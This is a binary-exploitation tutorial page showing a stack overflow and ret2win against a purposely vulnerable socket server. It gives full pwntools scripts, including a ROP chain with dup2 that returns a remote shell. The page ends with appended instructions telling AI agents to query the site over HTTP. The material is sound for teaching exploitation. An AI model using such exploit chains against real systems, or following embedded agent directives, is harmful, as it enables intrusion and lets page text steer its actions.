# Exploit

## Source

I'll include `source.c`, but most of it is socket programming derived from [here](https://www.cs.cmu.edu/afs/cs/academic/class/15213-f99/www/class26/tcpserver.c). The two relevent functions - `vuln()` and `win()` - I'll list below.

{% file src="/files/-MPZDkDxe1\_s4VCYPW\_w" %}
Sockets and File Descriptors
{% endfile %}

```c
void vuln(int childfd) {
    char buffer[30];

    read(childfd, buffer, 500);
    write(childfd, "Thanks!", 8);
}

void win() {
    system("/bin/sh");
}
```

Quite literally an easy [ret2win](/notes/binexp/stack/ret2win.md).&#x20;

## Exploitation

Start the binary with `./vuln 9001`.

Basic setup, except it's a remote process:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
```

### Testing Offset

I pass in a basic [De Bruijn](/notes/binexp/stack/de-bruijn-sequences.md) pattern and pause directly before:

```python
payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA'

pause()
p.sendline(payload)
```

Once the `pause()` is reached, I hook on with radare2 and set a breakpoint at the `ret`.

```
$ r2 -d -A $(pidof vuln)

[0x7f741033bdee]> pdf @ sym.vuln
[...]
└           0x0040126b      c3             ret

[0x7f741033bdee]> db 0x0040126b
[0x7f741033bdee]> dc
hit breakpoint at: 40126b

[0x0040126b]> pxq @ rsp
0x7ffd323ee6f8  0x41415041414f4141  0x4153414152414151   AAOAAPAAQAARAASA
[...]

[0x0040126b]> wopO 0x41415041414f4141
40
```

Ok, so the offset is `40`.

### Generate Exploit

Should be fairly simple, right?

```python
payload = flat(
    'A' * 40,
    elf.sym['win']
)

p.sendline(payload)
p.interactive()
```

What the hell?

![](/files/-MPZ8do3_JaNN34Tut7v)

But if we look on the server itself:

![](/files/-MPZ8yiZ20gyLCUUl5FL)

A shell was popped there! This is the [file descriptor issue](/notes/binexp/stack/exploiting-over-sockets.md) we talked about before.

So we have a shell, but no way to control it. Time to use `dup2`.

{% hint style="info" %}
I've simplified this challenge a lot by including a call to `dup2()` within the vulnerable binary, but normally you would leak libc via the [GOT](/notes/binexp/stack/aslr/ret2plt-aslr-bypass.md) and then use libc's `dup2()` rather than the PLT; this walkthrough is about the basics, so I kept it as simple as possible.
{% endhint %}

### Duplicating File Descriptors

As we know, we need to call `dup2(newfd, oldfd)`. `newfd` will be `4` (our connection fd) and `oldfd` will be `0` and `1` (we need to call it twice to redirect both`stdin` and `stdout`). Knowing what you do about [calling conventions](/notes/binexp/stack/return-oriented-programming/exploiting-calling-conventions.md), have a go at doing this and then caling `win()`. The answer is below.

### Using dup2()

Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use `ROPgadget` to find these.

```
$ ROPgadget --binary vuln | grep "pop rdi"
0x000000000040150b : pop rdi ; ret

$ ROPgadget --binary vuln | grep "pop rsi"
0x0000000000401509 : pop rsi ; pop r15 ; ret
```

Plonk these values into the script.

```python
POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 
```

Now to get all the calls to `dup2()`.

```python
payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
```

And wehey - the file descriptors were successfully duplicated!

![](/files/-MPZCXKByDidz-grmb1G)

## Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 

payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
```

## Pwntools' ROP

These kinds of chains are where pwntools' ROP capabilities really come into their own:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```

Works perfectly and is much shorter and more readable!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ir0nstone.gitbook.io/notes/binexp/stack/exploiting-over-sockets/exploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
